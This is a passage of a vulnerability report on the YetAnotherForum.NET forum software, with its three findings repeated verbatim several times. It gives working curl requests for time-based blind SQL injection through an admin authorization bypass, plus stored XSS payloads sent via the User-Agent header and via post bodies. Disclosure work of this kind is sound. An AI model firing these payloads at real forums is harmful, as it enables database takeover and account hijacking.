Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
